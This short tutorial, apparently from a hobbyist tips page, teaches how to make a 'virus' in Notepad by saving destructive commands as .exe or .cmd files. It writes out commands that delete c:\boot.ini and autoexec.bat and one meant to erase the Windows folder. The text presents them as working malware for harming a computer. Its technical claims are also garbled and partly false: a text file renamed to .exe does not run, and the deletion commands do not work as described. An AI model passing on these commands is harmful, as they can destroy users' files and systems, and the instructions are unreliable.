First of all Open your notepad and type the following………
del c:\boot।ini c:\del autoexec.bat
Now Save as anyname.exe. Create this in C: drive
The only thing you need is Notepad.
1. Create a text file called TEST.txt(empty) in C:\
2. Now in your notepad type “erase C:\TEST.txt” (without the quotes). Then save it as “Test.cmd”.
3. Now run the file “Test.cmd”go to C:\ and you’ll see your Test.txt is gone.
Now, the real work :
1. Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd.
2. Now DON’T Run the file or you’ll lose your WINDOWS map.
So, that’s the Virus. In this way you can make a virus to delete any file you want.